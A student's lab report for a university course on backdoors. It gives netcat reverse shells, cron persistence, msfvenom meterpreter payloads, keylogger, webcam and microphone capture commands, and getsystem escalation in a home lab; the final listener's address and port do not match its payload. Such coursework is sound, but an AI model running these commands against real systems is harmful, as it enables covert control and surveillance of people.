20222314 2024-2025-1《网络与系统攻防》 实验二
姓名:陈振烨
学号:20222314
实验日期:2024/10/16 — 2024/10/23
实验名称:后门原理与实践
指导教师:王志强
实验要求:
掌握后门原理及免杀技术
实践目标:
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
本周学习内容:
1.nc的反弹shell的各种方法
2.socat的下载以及getshell方式
3.如何使用MSF的Meterpreter生成后门文件并且getshell
4.在Meterpreter已经getshell的情况下,如何执行一些特殊权限
5.MSF生成shellcode,针对系统漏洞getshell
问题回答
(1) 例举你能想到的一个后门进入到你系统中的可能方式?
A: 跟随网络上下载的软件捆绑进入
(2)例举你知道的后门如何启动起来(win及linux)的方式?
A: 被其他程序调用或者本身直接被隐藏在程序中运行
(3)Meterpreter有哪些给你映像深刻的功能?
A: 能够提取设备信息,并且还能拍照
(4)如何发现自己有系统有没有被安装后门?
A: 装杀毒软件和恶意脚本检测系统,在恶意脚本运行前即时发现和检测,在恶意脚本运行后即时发现并终止
实验步骤:
环境准备
1. 主机:windows11 ip_addr: 192.168.1.113
Linux虚拟机:kali Linux ip_addr:192.168.1.123
2.为了防止一些不必要的麻烦,本实验中Windows以及Linux的防火墙均已经关闭,且由于本次实验中没有涉及免杀的操作,故windows的病毒检测功能也处于关闭状态
3.为了验明身份,本次所有的端口均使用本人学号后四位:2314
任务一: 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
在windows上运行ncat.exe启动监听进程
ncat.exe -l -p 2314
在linux上运行,反弹连接Windows,提供自己的shell
nc 192.168.1.113 2314 -e /bin/sh
反之一样
在linux上运行,反弹连接Windows,提供自己的shell
nc -l -p 2314
在windows上运行ncat.exe,反弹连接Linux,提供自己的cmd
ncat.exe -e cmd.exe 192.168.1.123 2314
corn运行自定任务
用指令 crontab -e
编辑定时任务。在第一次编辑的时候,会有提示选择编辑器,选择“2”,利用vim编辑器进行编辑。
点击“i”进入编辑模式,在最后一行添加
20 * * * * /bin/netcat 192.168.1.113 2314 -e /bin/sh
意思是每小时的20分会反向连接Windows的2314端口。
等待至18:20分,Windows获得Linux的shell,可执行相关命令,例pwd
任务二: 使用socat获取主机操作Shell, 任务计划启动
在Windows下,打开:控制面板->管理工具->任务计划程序,新建任务计划。
等待预定时间18:30,Windows启动任务,socat.exe运行
在kali终端输入指令socat - tcp:192.168.1.113:2314
Linux获得Windows Shell
任务三: 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
Kali命令行中输入以下命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=2314 -f exe > 20222314czy_backdoor.exe
注:这里设置的主机IP和端口均为linux的IP、端口
LHOST为反弹回连的IP,在这里是要Windows主动连接kali,即反弹给Kali,也就是Kali的IP
LPORT是回连端口
p 使用payload,payload翻译为有效载荷,就是被运输有东西。
windows/meterpreter/reverse_tcp是一段shellcode
f 生成文件的类型:exe
“>” 输出文件名:20222314czy_backdoor.exe
将生成的后门传送到Windows主机上
在Windows上监听2314端口等待接收可执行文件20222314czy_backdoor.exe
ncat.exe -lv 2314 >20222314czy_backdoor.exe
在Kali上将生成的20222314czy_backdoor.exe传送给Windows
nc 192.168.1.113 2314 < 20222314czy_backdoor.exe
进入msf控制台进行配置
在kali上使用 msfconsole
命令,进入msf控制台
配置监听模块:
use exploit/multi/handler //使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
set LHOST 192.168.1.123 //KaliIP,和生成后门程序时指定的IP相同
set LPORT 2314 //设置本主机的端口
在Windows上运行后门程序20222314czy_backdoor.exe;
kali输入 exploit
运行模块;成功getshell
任务四: 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
record_mic //音频
screenshot //截屏
webcam_snap //获取摄像头所拍摄的照片
在kali上输入指令 keyscan_start
,开始记录键盘记录,然后在Windows上输入一些字母,之后,再切换到kali,输入指令keyscan_dump
,就可以读取键盘记录
提权
先使用 getuid
指令查看当前用户,再使用 getsystem
指令进行提权
任务五: 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
使用命令
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=2314 -x pwn1 -f elf > 20222314czy_pwn
生成以pwn1模板这个elf文件格式的shellcode文件20222314czy_pwn
use exploit/multi/handler //进入handler模式
set payload linux/x86/meterpreter/reverse_tcp //对应生成的后门程序设置payload
show options //查看当前信息状态
set LHOST 192.168.191.128 //设置LHOST,其中ip为攻击者Linux的ip
set LPORT 4308 //设置LPORT
exploit //启动监听
运行20222314czy_pwn后getshell
问题描述:
无,不是想偷懒,是从头到尾做下来一个系统上的错几乎都没报,唯一一处报错在于最后一步注入shellcode发生了segmentation fault和session断开连接,但是立马就想到是前面的平台没改,之后就直接通了。
实验感悟与总结:
1、细节决定成败
在做实验过程中出现了许多小问题,在之后的问题排除过程中可以发现近80%的问题是由于小细节,比如单词拼写错误,缺少空格等,这些问题只要再细心一些就可以避免。
2、理解原理很重要
理解实验背后的原理,才能够在出现问题时更好的去寻找问题的原因。这次实验在何时使用何方的IP地址这一问题,就考验了我们对实验的理解。反连接,也就是靶机在“不知情”的情况下连接了攻击机,而攻击机需要实时地监听靶机。
3、提升网络安全意识
通过这样比较基础的后门实践,让我再次产生了一种危机感,斯诺登曝光的棱镜门事件美国监控全球,通过这次事件了解了能够实现其中监控的一个小原理,同时通过后门原理的学习,让我更加注重科学安全上网,尽量不落入一些后门、木马等全套,防范意识得到了一定程度的提高。